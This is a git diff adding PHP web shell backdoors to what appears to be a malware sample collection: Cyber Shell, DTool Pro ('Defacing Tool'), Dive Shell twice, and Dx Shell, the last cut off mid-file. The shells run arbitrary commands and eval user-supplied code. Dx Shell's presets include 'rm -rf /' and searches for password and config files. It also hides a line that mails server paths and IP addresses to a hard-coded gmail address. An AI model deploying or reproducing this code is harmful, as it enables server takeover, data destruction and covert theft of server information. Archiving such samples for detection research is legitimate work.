        "; +} +if (isset($showtables) and !empty($showtables)){ + +if (isset($xlimit)){ +$_SESSION[limit]=$xlimit; +if (isset($xlenth)) +$_SESSION[lenth]=$xlenth; +else $_SESSION[lenth]=""; +} + +echo "����� � ������ ��"; +$re=mysql_query("SHOW TABLES FROM $showtables"); +echo ""; +echo ""; +while($res=mysql_fetch_array($re)){ +echo ""; +} +echo "
        $showtables - ������ ������:
        $res[0]
        "; + +if (($_SESSION[lenth]) == "on") +$ch="checked"; +else +$ch=""; + +echo <<< EOF +
        + + + + +����������� �� ���������� ��������� �����:
        + +
        �������� ����������� �� ����� ��������� �����
        + +EOF; +if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0")) +echo "
        ������� �����������: $_SESSION[limit]"; +} + +if (isset($tools) or isset($tmysql)) +echo " +
        + + + + + + + +
        +.: MySQL :. +
        + + + + + + + + + + + + + + + + + + + + + +
        +Host + + +
        +Login MySQL + + +
        +Password MySQL + + + +
        +��� �� (�� �����������) + + +
        + + + +
        + +
        +
        +"; +} +echo <<< EOF +
        .:Cyber Shell (v 1.0):.
        Copyright � Cyber Lords Community, 2002-2006
        + + + +EOF; + +$d=tourl($d); +echo " +
        + +.: ������� ����� :. +.: ������� ���� :. +.: ������� ���� ��� ����������� :.
        +.: Bash :. +.: �������� ���� :. +
        +
        +"; +} +die; +?> diff --git a/web-malware-collection-master/Backdoors/PHP/DTool Pro.txt b/web-malware-collection-master/Backdoors/PHP/DTool Pro.txt new file mode 100755 index 0000000..0799e5e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/DTool Pro.txt @@ -0,0 +1,198 @@ +xterm at /usr/X11R6/bin/xterm, "; +if (@file_exists("/usr/bin/nc")) $pro2="nc at /usr/bin/nc, "; +if (@file_exists("/usr/bin/wget")) $pro3="wget at /usr/bin/wget, "; +if (@file_exists("/usr/bin/lynx")) $pro4="lynx at /usr/bin/lynx, "; +if (@file_exists("/usr/bin/gcc")) $pro5="gcc at /usr/bin/gcc, "; +if (@file_exists("/usr/bin/cc")) $pro6="cc at /usr/bin/cc "; +$safe = @ini_get($safemode); +if ($safe) $pro8="safe_mode: YES, "; else $pro7="safe_mode: NO, "; +$pro8 = "PHP ".phpversion(); +$pro=$pro1.$pro2.$pro3.$pro4.$pro5.$pro6.$pro7.$pro8; +$login=@posix_getuid(); $euid=@posix_geteuid(); $gid=@posix_getgid(); +$ip=@gethostbyname($_SERVER['HTTP_HOST']); + +//Turns the 'ls' command more usefull, showing it as it looks in the shell +if(strpos($cmd, 'ls --') !==false) $cmd = str_replace('ls --', 'ls -F --', $cmd); +else if(strpos($cmd, 'ls -') !==false) $cmd = str_replace('ls -', 'ls -F', $cmd); +else if(strpos($cmd, ';ls') !==false) $cmd = str_replace(';ls', ';ls -F', $cmd); +else if(strpos($cmd, '; ls') !==false) $cmd = str_replace('; ls', ';ls -F', $cmd); +else if($cmd=='ls') $cmd = "ls -F"; + +//If there are some '//' in the cmd, its now removed +if(strpos($chdir, '//')!==false) $chdir = str_replace('//', '/', $chdir); +?> + + + + + + + + + +
        [ Defacing Tool Pro v ] ?
        +by r3v3ng4ns - revengans@gmail.com +
        + + + + + + + + +
        :
        user: uid() euid() gid()
        write permission:YES"; }else{ echo " no"; } ?>
        server info:
        pro info: ip
        original path:
        current path: +
        +
        + +
        command
        + +
        + array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"),)){ + $process = @proc_open("$what",$descpec,$pipes); + if (is_resource($process)) { + fwrite($pipes[0], ""); + fclose($pipes[0]); + + while(!feof($pipes[2])) { + $erro_retorno = fgets($pipes[2], 4096); + if(!empty($erro_retorno)) echo $erro_retorno;//isso mostra tds os erros + } + fclose($pipes[2]); + + while(!feof($pipes[1])) { + echo fgets($pipes[1], 4096); + } + fclose($pipes[1]); + + $ok_p_fecha = @proc_close($process); + }else echo "It seems that this PHP version (".phpversion().") doesn't support proc_open() function"; +}else echo "This PHP version ($pro7) doesn't have the proc_open() or this function is disabled by php.ini"; +} + +$funE="function_exists"; +if($safe){$fe="safemode";$feshow=$fe;} +elseif($funE('shell_exec')){$fe="shell";$feshow="shell_exec";} +elseif($funE('passthru')){$fe="passthru";$feshow=$fe;} +elseif($funE('system')){$fe="system";$feshow=$fe;} +elseif($funE('exec')){$fe="execc";$feshow="exec";} +elseif($funE('popen')){$fe="popenn";$feshow="popen";} +elseif($funE('proc_open')){$fe="procc";$feshow="proc_open";} +else {$fe="nofunction";$feshow=$fe;} +if($fu!="0" or !empty($fu)){ + if($fu==1){$fe="passthru";$feshow=$fe;} + if($fu==2){$fe="system";$feshow=$fe;} + if($fu==3){$fe="execc";$feshow="exec";} + if($fu==4){$fe="popenn";$feshow="popen";} + if($fu==5){$fe="shell";$feshow="shell_exec";} + if($fu==6){$fe="procc";$feshow="proc_open";} +} +$fe("$cmd 2>&1"); +$output=ob_get_contents();ob_end_clean(); +?> +

        + +

        stdOut from $cmdShow\", using $feshow()";?>
        +
        + diff --git a/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.php b/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.php new file mode 100755 index 0000000..9c6d47e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.php @@ -0,0 +1,187 @@ + array('pipe', 'w'), + 2 => array('pipe', 'w')), + $io); + + + while (!feof($io[1])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), + ENT_COMPAT, 'UTF-8'); + } + + while (!feof($io[2])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), + ENT_COMPAT, 'UTF-8'); + } + + fclose($io[1]); + fclose($io[2]); + proc_close($p); + } + } + + + if (empty($_SESSION['history'])) { + $js_command_hist = '""'; + } else { + $escaped = array_map('addslashes', $_SESSION['history']); + $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; + } + + +header('Content-Type: text/html; charset=UTF-8'); + +echo '' . "\n"; +?> + + + Dive Shell - Emperor Hacking Team + + + + + + + + + + + + + + + + + + + + + + +

         Directory: + +

        + +
        +
        +

        + Command: +   + +  

        +

        + Rows: +

        +

        + Edited By Emperor Hacking Team

        +

        + iM4n - FarHad - imm02tal - R$P

        +
        +
        + + +

        +   +

        + + + + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.txt b/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.txt new file mode 100755 index 0000000..9c6d47e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Dive Shell 1.0 - Emperor Hacking Team.txt @@ -0,0 +1,187 @@ + array('pipe', 'w'), + 2 => array('pipe', 'w')), + $io); + + + while (!feof($io[1])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), + ENT_COMPAT, 'UTF-8'); + } + + while (!feof($io[2])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), + ENT_COMPAT, 'UTF-8'); + } + + fclose($io[1]); + fclose($io[2]); + proc_close($p); + } + } + + + if (empty($_SESSION['history'])) { + $js_command_hist = '""'; + } else { + $escaped = array_map('addslashes', $_SESSION['history']); + $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; + } + + +header('Content-Type: text/html; charset=UTF-8'); + +echo '' . "\n"; +?> + + + Dive Shell - Emperor Hacking Team + + + + + + + + + + + + + + + + + + + + + + +

         Directory: + +

        + +
        +
        +

        + Command: +   + +  

        +

        + Rows: +

        +

        + Edited By Emperor Hacking Team

        +

        + iM4n - FarHad - imm02tal - R$P

        +
        +
        + + +

        +   +

        + + + + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/Dx.txt b/web-malware-collection-master/Backdoors/PHP/Dx.txt new file mode 100755 index 0000000..ebca7b5 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/Dx.txt @@ -0,0 +1,2026 @@ + 'AboutBox', + + 'DIR' => 'Dir browse', + 'UPL' => 'Upload file', + 'FTP' => 'FTP Actions', + + 'F_CHM' => 'File CHMOD', + 'F_VIEW' => 'File viewer', + 'F_ED' => 'File Edit', + 'F_DEL' => 'File Delete', + 'F_REN' => 'File Rename', + 'F_COP' => 'File Copy', + 'F_MOV' => 'File Move', + 'F_DWN' => 'File Download', + + 'SQL' => 'SQL Maintenance', + 'SQLS' => 'SQL Search', + 'SQLD' => 'SQL Dump', + 'PHP' => 'PHP C0nsole', + 'COOK' => 'Cookies Maintenance', + 'CMD' => 'C0mmand line', + + 'MAIL' => 'Mail functions', + 'STR' => 'String functions', + 'PRT' => 'Port scaner', + 'SOCK' => 'Raw s0cket', + 'PROX' => 'HTTP PROXY', + 'XPL' => 'Expl0its', + 'XSS' => 'XSS Server', + ); +$GLOB['DxGET_Vars']=array(/* GET variables used by shell */ +'dxinstant', 'dxmode', 'dximg', 'dxparam', 'dxval', 'dx_ok', 'dx_gzip', +'dxdir', 'dxdirsimple', 'dxfile', +'dxsql_s', 'dxsql_l', 'dxsql_p', 'dxsql_d','dxsql_q', +); + +$GLOB['VAR']['PHP']['Presets']=array( + /* Note, that no comments are allowed in the code */ + 'phpinfo' => 'phpinfo();', + 'GLOBALS' => 'print \'\'; print_r($GLOBALS);', + 'php_ini' => '$INI=ini_get_all(); ' + ."\n".'print \'<table border=0><tr>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Param</td>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Global value</td>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'' + ."\n\t".'.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';' + ."\n".'foreach ($INI as $param => $values) ' + ."\n\t".'print "\n".\'<tr>\'' + ."\n\t\t".'.\'<td class="listing"><b>\'.$param.\'</td>\'' + ."\n\t\t".'.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'' + ."\n\t\t".'.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'' + ."\n\t\t".'.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';', + 'extensions' => '$EXT=get_loaded_extensions ();' + ."\n".'print \'<table border=0><tr><td class="listing">\'' + ."\n\t".'.implode(\'</td></tr>\'."\n".\'<tr><td class="listing">\', $EXT)' + ."\n\t".'.\'</td></tr></table>\'' + ."\n\t".'.count($EXT).\' extensions loaded\';', + ); +$GLOB['VAR']['CMD']['Presets']=array( + 'Call Nik8 with an axe'=>'[w0rning] rm -rf /', + 'show opened ports'=>'netstat -an | grep -i listen', + 'find config* files'=>'find / -type f -name "config*"', + 'find all *.php files with word "password"'=>'find / -name *.php | xargs grep -li password', + 'find all writable directories and files'=>'find / -perm -2 -ls', + 'list file attribs on a second extended FS'=>'lsattr -va', + 'View syslog.conf'=>'cat /etc/syslog.conf', + 'View Message of the day'=>'cat /etc/motd', + 'View hosts'=>'cat /etc/hosts', + 'List processes'=>'ps auxw', + 'List user processes'=>'ps ux', + 'Locate httpd.conf'=>'locate httpd.conf', + 'Interfaces'=>'ifconfig', + 'CPU'=>'/proc/cpuinfo', + 'RAM'=>'free -m', + 'HDD'=>'df -h', + 'OS Ver'=>'sysctl -a | grep version', + 'Kernel ver' =>'cat /proc/version', + 'Is cURL installed? ' => 'which curl', + 'Is wGET installed? ' => 'which wget', + 'Is lynx installed? ' => 'which lynx', + 'Is links installed? ' => 'which links', + 'Is fetch installed? ' => 'which fetch', + 'Is GET installed? ' => 'which GET', + 'Is perl installed? ' => 'which perl', + 'Where is apache ' => 'whereis apache', + 'Where is perl ' => 'whereis perl', + 'Pack directory' =>'"tar -zc /path/ -f name.tar.gz"', + ); + + +################################################################################### +####################+++++++++# F U N C T I O N S #+++++++++++++#################### +################################################################################### +function DxError($errstr) +{global $DX_Header_drawn;print "\n\n".'<table border=0 cellspacing=0 cellpadding=2><tr>' + .'<td class=error '.((!$DX_Header_drawn)?'style="color:#000000; background-color: #FF0000; font-weight: bold; font-size: 11pt;position:absolute;top=0;left=0;"':'').'>' + .'Err: '.$errstr.'</td></tr></table>'."\n\n"; return '';} + +function DxWarning($warn) +{print "\n\n".'<table border=0 cellspacing=0 cellpadding=2><tr><td class=warning><b>W0rning:</b> '.$warn.'</td></tr></table>'."\n\n"; return '';} + +function DxImg($imgname) +{ +global $DXGLOBALSHIT; +if ($DXGLOBALSHIT) return '<font class="img_replacer">'.$imgname.'</font>'; /* globalshit doesn't give a chance for our images to survive */ +return '<img src="'.DxURL('kill', '').'&dxmode=IMG&dximg='.$imgname.'" title="'.$imgname.'" alt"'.$imgname.'">'; +} + +function DxSetCookie($name, $val, $exp) +{ +if (!headers_sent()) return setcookie($name, $val, $exp, '/'); +?> +<script> +var curCookie = "<?=$name;?>=" + escape("<?=$val;?>") +"; expires=<?=date('l, d-M-y H:i:s', $exp);?> GMT; path=/;"; +document.cookie = curCookie; +</script> +<? +} + +function DxRandom($range='48-57,65-90,97-122') +{ +$range=explode(',',$range); +$range=explode('-', $range[ rand(0,count($range)-1) ] ); +return rand($range[0],$range[1]); +} + +function DxRandomChars($num) +{ +$ret=''; +for ($i=0;$i<$num;$i++) $ret.=chr(DxRandom('48-57,65-90,97-122')); +return $ret; +} + +function DxZeroedNumber($int, $totaldigits) +{ +$str=(string)$int; +while (strlen($str)<$totaldigits) $str='0'.$str; +return $str; +} + +function DxPrint_ParamState($name, $state, $invert=false) +{ +print $name.' : '; $invert=(bool)$invert; +if (is_bool($state)) + print ($state)?'<font color=#'.(($invert)?'FF0000':'00FF00').'><b>ON</b></font>':'<font color=#'.(($invert)?'00FF00':'FF0000').'><b>OFF</b></font>'; + else print '<b>'.$state.'</b>'; +} + +function DxStr_FmtFileSize($size) +{ + if($size>= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB"; } +elseif($size>= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB"; } +elseif($size>= 1024) {$size = round($size / 1024 * 100) / 100 . " KB"; } + else {$size = $size . " B";} +return $size; +} + +function DxDate($UNIX) {return date('d.M\'Y H:i:s', $UNIX); } + +function DxDesign_DrawBubbleBox($header, $body, $width) +{ +$header=str_replace(array('"',"'","`"), array('&#x02DD;','&#x0027;',''), $header); +$body=str_replace(array('"',"'","`"), array('&#x02DD;','&#x0027;',''), $body); +return ' onmouseover=\'showwin("'.$header.'","'.$body.'",'.$width.',1)\' onmouseout=\'showwin("","",0,0)\' onmousemove=\'movewin()\' '; +} + +function DxChmod_Str2Oct($str) /* rwxrwxrwx => 0777 */ +{ +$str = str_pad($str,9,'-'); +$str=strtr($str, array('-'=>'0','r'=>'4','w'=>'2','x'=>'1') ); +$newmode=''; +for ($i=0; $i<3; $i++) $newmode .= $str[$i*3]+$str[$i*3+1]+$str[$i*3+2]; + +return $newmode; +} + +function DxChmod_Oct2Str($perms) /* 777 => rwxrwxrwx. USE ONLY STRING REPRESENTATION OF $oct !!!! */ +{ +$info=''; +if (($perms & 0xC000) == 0xC000) $info = 'S'; /* Socket */ + elseif (($perms & 0xA000) == 0xA000) $info = 'L'; /* Symbolic Link */ +elseif (($perms & 0x8000) == 0x8000) $info = '&nbsp;'; /* '-'*//* Regular */ +elseif (($perms & 0x6000) == 0x6000) $info = 'B'; /* Block special */ +elseif (($perms & 0x4000) == 0x4000) $info = 'D'; /* Directory*/ +elseif (($perms & 0x2000) == 0x2000) $info = 'C'; /* Character special*/ +elseif (($perms & 0x1000) == 0x1000) $info = 'P'; /* FIFO pipe*/ +else $info = '?'; /* Unknown */ +if (!empty($info)) $info='<font class=rwx_sticky_bit>'.$info.'</font>'; +/* Owner */ +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); +$info .= '/'; +/* Group */ +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); +$info .= '/'; +/* World */ +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); + + return $info; +} + +function DxFileToUrl($filename) +{/* kills & and = to be okay in URL */ +return str_replace(array('&','=','\\'), array('%26', '%3D','/'), $filename); +} +$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +function DxFileOkaySlashes($filename) +{return str_replace('\\', '/', $filename);} + +function DxURL($do='kill', $these='') /* kill: '' - kill all ours, 'a,b,c' - kill $a,$b,$c ; leave: '' - as is, leave 'a,b,c' - leave only $a,$b,$c */ +{ +global $GLOB; +if ($these=='') $these=$GLOB['DxGET_Vars']; else $these=explode(',', $these); + +$ret=$_SERVER['PHP_SELF'].'?'; +if (!empty($_GET)) + for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++) + if ( !in_array($INDEXES[$i], $GLOB['DxGET_Vars']) OR ( /* if not ours - add */ + ($do=='kill' AND !in_array($INDEXES[$i], $these)) + OR + ($do=='leave' AND in_array($INDEXES[$i], $these)) + )) + $ret.=$INDEXES[$i].='='.$_GET[ $INDEXES[$i] ].( ($i==($COUNT-1))?'':'&' ); +if (substr($ret, -1,1)=='&') $ret=substr($ret, 0, strlen($ret)-1); +return $ret; +} + +function DxGETinForm($do='kill', $these='') /* Equal to DxURL(), but prints out $_GET as form <input type=hidden> params */ +{ +$link=substr(strchr(DxURL($do, $these), '?'), 1); +$link=explode('&', $link); +print "\n".'<!--$_GET;-->'; +for ($i=0, $COUNT=count($link); $i<$COUNT; $i++) + { + $cur=explode('=', $link[$i]); + print '<input type=hidden name="'.str_replace('"', '&quot;', $cur[0]).'" value="'.str_replace('"', '&quot;', $cur[1]).'">'; + } +} + +function DxGotoURL($URL, $noheaders=false) +{ +if ($noheaders or headers_sent()) + { + print "\n".'<div align=center>Redirecting...<br><a href="'.$URL.'">Press here in shit happens</a>'; + print '<script>location="'.$URL.'";</script>'; + /* print $str.='<META HTTP-EQUIV="Refresh" Content="1, URL='.$URL.'">'; */ + } + else + header('Location: '.$URL); +return 1; +} + +if (!function_exists('mime_content_type')) + { + if ($GLOB['SYS']['OS']['id']!='Win') + { function mime_content_type($f) + { + $f = escapeshellarg($f); + return trim(`file -bi `.$f); + } + } + else + { + function mime_content_type($f) {return 'Content-type: text/plain';} /* Nothing alike under win =( if u have some thoughts - touch me */ + } + } + + +function DxMySQL_FetchResult($MySQL_res, &$MySQL_Return_Array, $idmode=false) /* Fetches mysql return array (associative) */ +{ +$MySQL_Return_Array=array(); + +if ($MySQL_res===false) return 0; +if ($MySQL_res===true) return 0; + +$ret=mysql_num_rows($MySQL_res); if ($ret<=0) return 0; + +if ($idmode) while (!(($MySQL_Return_Array[]=mysql_fetch_array($MySQL_res, MYSQL_NUM))===FALSE)) {} + else while (!(($MySQL_Return_Array[]=mysql_fetch_array($MySQL_res, MYSQL_ASSOC))===FALSE)) {} +array_pop($MySQL_Return_Array); + +for ($i=0; $i<count($MySQL_Return_Array); $i++) /* Kill the fucking slashes */ + { + if ($i==0) + { + $INDEXES=array_keys($MySQL_Return_Array[$i]); + $count=count($INDEXES); + } + for ($j=0; $j<$count; $j++) + { + $key=&$INDEXES[$j]; + $val=&$MySQL_Return_Array[$i][$key]; + if (is_string($val)) $val=stripcslashes($val); + } + } +return $ret; +} + +function DxMySQLQ($query, $die_on_err) +{ +$q=mysql_query($query); +if (mysql_errno()!=0) + { + DxError('" '.$query.' "'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error()); + if ($die_on_err) die(); + } +return $q; +} + +function DxDecorVar(&$var, $htmlstr) +{ +if (is_null($var)) return 'NULL'; +if (!isset($var)) return '[!isset]'; + +if (is_bool($var)) return ($var)?'true':'false'; +if (is_int($var)) return (int)$var; +if (is_float($var)) return number_format($var, 4, '.', ''); +if (is_string($var)) + { + if (empty($var)) return '&nbsp;'; + if (!$htmlstr) return ''.($var).''; + else return ''.str_replace("\n", "<br>", str_replace("\r","", htmlspecialchars($var))).''; + } +if (is_array($var)) return '(ARR)'.var_export($var, true).'(/ARR)'; +if (is_object($var)) return '(OBJ)'.var_export($var, true).'(/OBJ)'; +if (is_resource($var)) return '(RES:'.get_resource_type($var).')'.var_export($var, true).'(/RES)'; +return '(???)'.var_export($var, true).'(/???)'; +} + +function DxHTTPMakeHeaders($method='', $URL='', $host='', $user_agent='', $referer='', $posts=array(), $cookie=array()) +{ +if (!empty($posts)) + { + $postValues=''; + foreach( $posts AS $name => $value ) {$postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';} + $postValues = substr( $postValues, 0, -1 ); + $method = 'POST'; + } else $postValues = ''; + + if (!empty($cookie)) + { + $cookieValues=''; + foreach( $cookie AS $name => $value ) {$cookieValues .= urlencode( $name ) . "=" . urlencode( $value ) . ';';} + $cookieValues = substr( $cookieValues, 0, -1 ); + } else $cookieValues = ''; + +$request = $method.' '.$URL.' HTTP/1.1'."\r\n"; +if (!empty($host)) $request .= 'Host: '.$host."\r\n"; +if (!empty($cookieValues)) $request .='Cookie: '.$cookieValues."\r\n"; +if (!empty($user_agent)) $request .= 'User-Agent: '.$user_agent.' '."\r\n"; +$request .= 'Connection: Close'."\r\n"; /* Or connection will be endless */ +if (!empty($referer)) $request .= 'Referer: '.$referer."\r\n"; +if ( $method == 'POST' ) + { + $lenght = strlen( $postValues ); + $request .= 'Content-Type: application/x-www-form-urlencoded'."\r\n"; + $request .= 'Content-Length: '.$lenght."\r\n"; + $request .= "\r\n"; + $request .= $postValues; + } +$request.="\r\n\r\n"; +return $request; +} + +function DxFiles_UploadHere($path, $filename, &$contents) +{if (empty($contents)) die(DxError('Received empty')); +$filename='__DxS__UPLOAD__'.DxRandomChars(3).'__'.$filename; +if (!($f=fopen($path.$filename, 'w'))) + { + $path='/tmp/'; + if (!($f=fopen($path.$filename, 'w'))) + die(DxError('Writing denied. Save to "'.$path.$filename.'" also failed! =(')); + else + DxWarning('Writing failed, but saved to "'.$path.$filename.'"! =)'); + } +fputs($f, $contents); +fclose($f); +print "\n".'Saved file to "'.$path.$filename.'" - OK'; +print "\n".'<br><a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($path)).'">[Go DIR]</a>';; +} + +function DxExecNahuj($cmd, &$OUT, &$RET) /* returns the name of function that exists, or FALSE */ +{ +$OUT=array(); $RET=''; +if (function_exists('exec')) + { if (!empty($cmd)) exec($cmd, $OUT, $RET); /* full array output */ + return array(true,true,'exec', ''); + } + elseif (function_exists('shell_exec')) + { if (!empty($cmd)) $OUT[0]=shell_exec($cmd); /* full string output, no RETURN */ + return array(true,false,'shell_exec', '<s>exec</s> shell_exec'); + } + elseif (function_exists('system')) + { if (!empty($cmd)) $OUT[0]=system($cmd, $RET); /* last line of output */ + return array(true,false,'system', '<s>exec</s> <s>shell_exec</s> system<br>Only last line of output is available, sorry =('); + } + else return array(FALSE, FALSE, '&lt;noone&gt;', '<s>exec</s> <s>shell_exec</s> <s>system</s> Bitchy admin has disabled command line!! =(');; +} + +################################################################################### +#####################++++++++++++# L O G I N #++++++++++++++++##################### +################################################################################### +if ( isset($_GET['dxmode'])?$_GET['dxmode']=='IMG':false ) + { /* IMGS are allowed without passwd =) */ $GLOB['SHELL']['USER']['Login']=''; + $GLOB['SHELL']['USER']['Passw']=''; + } + +if ( isset($_GET['dxinstant'])?$_GET['dxinstant']=='logoff':false ) + { + if ($DXGLOBALSHIT) + { if (isset($_COOKIE['DxS_AuthC'])) DxSetCookie('DxS_AuthC','---', 1); + } + else + { + header('WWW-Authenticate: Basic realm="==== HIT CANCEL OR PRESS ESC ===='.base_convert(crc32(mt_rand(0, time())),10,36).'"'); header('HTTP/1.0 401 Unauthorized'); + } + + print '<html>Redirecting... press <a href="'.DxURL('kill','').'">here if shit happens</a>'; + DxGotoURL(DxURL('kill',''), '1noheaders'); + die(); + } + +if (((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2)) + { if ($DXGLOBALSHIT) + { if (isset($_POST['DxS_Auth']) or isset($_COOKIE['DxS_AuthC'])) + { if (!( + + ((@$_POST['DxS_Auth']['L']==$GLOB['SHELL']['USER']['Login']) AND /* form */ + (@$_POST['DxS_Auth']['P']==$GLOB['SHELL']['USER']['Passw'] + OR + (strlen($GLOB['SHELL']['USER']['Passw'])==32 AND @$_POST['DxS_Auth']['P']==md5($GLOB['SHELL']['USER']['Passw'])) + )) + OR + @$_COOKIE['DxS_AuthC']==md5($GLOB['SHELL']['USER']['Login'].$GLOB['SHELL']['USER']['Passw']) /* cookie */ + + )) + {print(DxError('Fucked off brutally'));unset($_POST['DxS_Auth'], $_COOKIE['DxS_AuthC']);} + else DxSetCookie('DxS_AuthC', md5($GLOB['SHELL']['USER']['Login'].$GLOB['SHELL']['USER']['Passw']), time()+60*60*24*2); + } + if (!isset($_POST['DxS_Auth']) AND !isset($_COOKIE['DxS_AuthC'])) + { + print "\n".'<form action="'.DxURL('kill', '').'" method=POST style="position:absolute;z-index:100;top:0pt;left:40%;width:100%;height:100%;">'; + print "\n".'<br><input type=text name="DxS_Auth[L]" value="<LOGIN>" onfocus="this.value=\'\'" style="width:200pt">'; + print "\n".'<br><input type=text name="DxS_Auth[P]" value="<PASSWORD>" onfocus="this.value=\'\'" style="width:200pt">'; + print "\n".'<br><input type=submit value="Ok" style="width:200pt;"></form>'; + print "\n".'</form>'; + die(); + } + } + else + { + if (!isset($_SERVER['PHP_AUTH_USER'])) + { + header('WWW-Authenticate: Basic realm="DxShell '.$GLOB['SHELL']['Ver'].' Auth"'); + header('HTTP/1.0 401 Unauthorized'); + /* Result if user hits cancel button */ + unset($_GET['dxinstant']); + die(DxError('Fucked off brutally')); + } + else + if (!( $_SERVER['PHP_AUTH_USER']==$GLOB['SHELL']['USER']['Login'] + AND ( + $_SERVER['PHP_AUTH_PW']==$GLOB['SHELL']['USER']['Passw'] + OR + (strlen($GLOB['SHELL']['USER']['Passw'])==32 AND md5($_SERVER['PHP_AUTH_PW'])==$GLOB['SHELL']['USER']['Passw']) + ) + )) + { + header('WWW-Authenticate: Basic realm="DxS '.$GLOB['SHELL']['Ver'].' Auth: Fucked off brutally"'); + header('HTTP/1.0 401 Unauthorized'); + /* Result if user hits cancel button */ + unset($_GET['dxinstant']); + die(DxError('Fucked off brutally')); + } + } + } + +################################################################################### +####################++++++# I N S T A N T U S A G E #+++++++#################### +################################################################################### +if (!isset($_GET['dxmode'])) $_GET['dxmode']='DIR'; else $_GET['dxmode']=strtoupper($_GET['dxmode']); +if ($_GET['dxmode']=='DDOS') /* DDOS mode. In other case, EVALer of everything that comes in $_GET['s_php'] OR $_POST['s_php'] */ + { + $F = $_GET + $_POST; + if (!isset($F['s_php'])) die('o_O Tync DDOS Remote Shell '.$GLOB['SHELL']['Ver']."\n".'<br>Use GET or POST to set "s_php" variable with code to be executed =)<br>Enjoy!'); + eval(stripslashes($F['s_php'])); + die("\n\n".'<br><br>'.'o_O Tync DDOS Web Shell '.$GLOB['SHELL']['Ver'].((!isset($F['s_php']))?"\n".'<br>'.'$s_php is responsible for php-code-injection':'')); + } +if ($_GET['dxmode']=='IMG') + { + $IMGS=array( + 'DxS' => 'R0lGODlhEAAQAIAAAAD/AAAAACwAAAAAEAAQAAACL4yPGcCs2NqLboGFaXW3X/tx2WcZm0luIcqFKyuVHRSLJOhmGI4mWqQAUoKPYqIAADs=', + 'folder'=> 'R0lGODlhDwAMAJEAAP7rhriFIP///wAAACH5BAEAAAIALAAAAAAPAAwAAAIklIJhywcPVDMBwpSo3U/WiIVJxG0IWV7Vl4Joe7Jp3HaHKAoFADs=', + 'foldup'=> 'R0lGODlhDwAMAJEAAP7rhriFIAAAAP///yH5BAEAAAMALAAAAAAPAAwAAAIw3IJiywcgRGgrvCgA2tNh/Dxd8JUcApWgaJFqxGpp+GntFV4ZauV5xPP5JIeTcVIAADs=', + 'view' => 'R0lGODlhEAAJAJEAAP///wAAAP///wAAACH5BAEAAAIALAAAAAAQAAkAAAIglB8Zx6aQYGIRyCpFsFY9jl1ft4Fe2WmoZ1LROzWIIhcAOw==', + 'del' => 'R0lGODlhEAAQAKIAAIoRGNYnOtclPv///////wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAANASArazQ4MGOcLwb6BGQBYBknhR3zhRHYUKmQc65xgKM+0beKn3fErm2bDqomIRaMluENhlrcFaEejPKgL3qmRAAA7', + 'copy' => 'R0lGODlhEAAQAKIAAP//lv///3p6egAAAP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAAM+SKrT7isOQGsII7Jq7/sTdWEh53FAgwLjILxp2WGculIurL68XsuonCAG6PFSvxvuuDMOQcCaZuJ8TqGQSAIAOw==', + 'move' => 